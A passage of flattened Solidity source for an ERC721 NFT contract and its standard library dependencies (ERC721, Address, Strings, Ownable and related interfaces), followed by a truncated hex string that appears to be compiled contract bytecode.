pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c806357cabe201161011a5780639cb2587a116100ad578063b88d4fde1161007c578063b88d4fde146103f2578063c87b56dd14610405578063ccb98ffc14610418578063e985e9c51461042b578063f2fde38b1461043e576101fb565b80639cb2587a146103b15780639d9e3f42146103c4578063a22cb465146103cc578063b4adf8ae146103df576101fb565b8063715018a6116100e9578063715018a6146103915780637e4831d3146103995780638da5cb5b146103a157806395d89b41146103a9576101fb565b806357cabe20146103455780635f030bff146103585780636352211e1461036b57806370a082311461037e576101fb565b80631a9469d211610192578063438b630011610161578063438b6300146102f7578063439f5ac2146103175780634f6ccce71461031f57806355f804b314610332576101fb565b80631a9469d2146102b657806323b872dd146102be5780632f745c59146102d157806342842e0e146102e4576101fb565b8063095ea7b3116101ce578063095ea7b3146102735780630daa14f314610286578063109695231461029b57806318160ddd146102ae576101fb565b806301ffc9a71461020057806302329a291461022957806306fdde031461023e578063081812fc14610253575b600080fd5b61021361020e366004611c08565b610451565b6040516102209190611d8e565b60405180910390f35b61023c610237366004611bee565b61047e565b005b6102466104d9565b6040516102209190611d99565b610266610261366004611c86565b61056b565b6040516102209190611cf9565b61023c610281366004611b1c565b6105ae565b61028e610646565b60405161022091906123d1565b61023c6102a9366004611c40565b61064c565b61028e6106a2565b6102466106a8565b61023c6102cc366004611a2b565b610736565b61028e6102df366004611b1c565b61076e565b61023c6102f2366004611a2b565b6107c0565b61030a6103053660046119bb565b6107db565b6040516102209190611d4a565b61028e610899565b61028e61032d366004611c86565b61089f565b61023c610340366004611c40565b6108fa565b61023c610353366004611b47565b61094c565b61023c610366366004611c86565b6109eb565b610266610379366004611c86565b610b56565b61028e61038c3660046119bb565b610b8b565b61023c610bcf565b610213610c1a565b610266610c23565b610246610c32565b6102136103bf366004611c86565b610c41565b61028e610c56565b61023c6103da366004611ae8565b610c5c565b61030a6103ed3660046119bb565b610d2a565b61023c610400366004611a6b565b610df8565b610246610413366004611c86565b610e37565b61023c610426366004611c86565b610eba565b6102136104393660046119f3565b610efe565b61023c61044c3660046119bb565b610f2c565b60006001600160e01b0319821663780e9d6360e01b1480610476575061047682610fa3565b90505b919050565b610486610fe3565b6001600160a01b0316610497610c23565b6001600160a01b0316146104c65760405162461bcd60e51b81526004016104bd906121b8565b60405180910390fd5b600d805460ff1916911515919091179055565b6060600080546104e890612473565b80601f016020809104026020016040519081016040528092919081815260200182805461051490612473565b80156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b5050505050905090565b600061057682610fe7565b6105925760405162461bcd60e51b81526004016104bd9061216c565b506000908152600460205260409020546001600160a01b031690565b60006105b982610b56565b9050806001600160a01b0316836001600160a01b031614156105ed5760405162461bcd60e51b81526004016104bd906122bc565b806001600160a01b03166105ff610fe3565b6001600160a01b0316148061061b575061061b81610439610fe3565b6106375760405162461bcd60e51b81526004016104bd90611feb565b6106418383611004565b505050565b61138881565b610654610fe3565b6001600160a01b0316610665610c23565b6001600160a01b03161461068b5760405162461bcd60e51b81526004016104bd906121b8565b805161069e90600b9060208401906118ba565b5050565b60085490565b600b80546106b590612473565b80601f01602080910402602001604051908101604052809291908181526020018280546106e190612473565b801561072e5780601f106107035761010080835404028352916020019161072e565b820191906000526020600020905b81548152906001019060200180831161071157829003601f168201915b505050505081565b610747610741610fe3565b82611072565b6107635760405162461bcd60e51b81526004016104bd906122fd565b6106418383836110f7565b600061077983610b8b565b82106107975760405162461bcd60e51b81526004016104bd90611dac565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b61064183838360405180602001604052806000815250610df8565b606060006107e883610b8b565b905060008167ffffffffffffffff81111561081357634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561083c578160200160208202803683370190505b50905060005b8281101561089157610854858261076e565b82828151811061087457634e487b7160e01b600052603260045260246000fd5b602090810291909101015280610889816124ae565b915050610842565b509392505050565b600e5490565b60006108a96106a2565b82106108c75760405162461bcd60e51b81526004016104bd9061234e565b600882815481106108e857634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b610902610fe3565b6001600160a01b0316610913610c23565b6001600160a01b0316146109395760405162461bcd60e51b81526004016104bd906121b8565b805161069e90600c9060208401906118ba565b60006109566106a2565b600d5490915060ff161561097c5760405162461bcd60e51b81526004016104bd90612147565b611388811061099d5760405162461bcd60e51b81526004016104bd90612236565b60005b8251811015610641576109d98382815181106109cc57634e487b7160e01b600052603260045260246000fd5b60200260200101516109eb565b806109e3816124ae565b9150506109a0565b60006109f56106a2565b600d5490915060ff1615610a1b5760405162461bcd60e51b81526004016104bd90612147565b6113888110610a3c5760405162461bcd60e51b81526004016104bd90611ec6565b6010546040516331a9108f60e11b815233916001600160a01b031690636352211e90610a6c9086906004016123d1565b60206040518083038186803b158015610a8457600080fd5b505afa158015610a98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abc91906119d7565b6001600160a01b031614610ae25760405162461bcd60e51b81526004016104bd9061239a565b6000828152600f602052604090205460ff1615610b115760405162461bcd60e51b81526004016104bd906120db565b600e54421115610b335760405162461bcd60e51b81526004016104bd90611fc4565b6000828152600f60205260409020805460ff1916600117905561069e3382611224565b6000818152600260205260408120546001600160a01b0316806104765760405162461bcd60e51b81526004016104bd90612092565b60006001600160a01b038216610bb35760405162461bcd60e51b81526004016104bd90612048565b506001600160a01b031660009081526003602052604090205490565b610bd7610fe3565b6001600160a01b0316610be8610c23565b6001600160a01b031614610c0e5760405162461bcd60e51b81526004016104bd906121b8565b610c18600061123e565b565b600d5460ff1681565b600a546001600160a01b031690565b6060600180546104e890612473565b600f6020526000908152604090205460ff1681565b600e5481565b610c64610fe3565b6001600160a01b0316826001600160a01b03161415610c955760405162461bcd60e51b81526004016104bd90611f41565b8060056000610ca2610fe3565b6001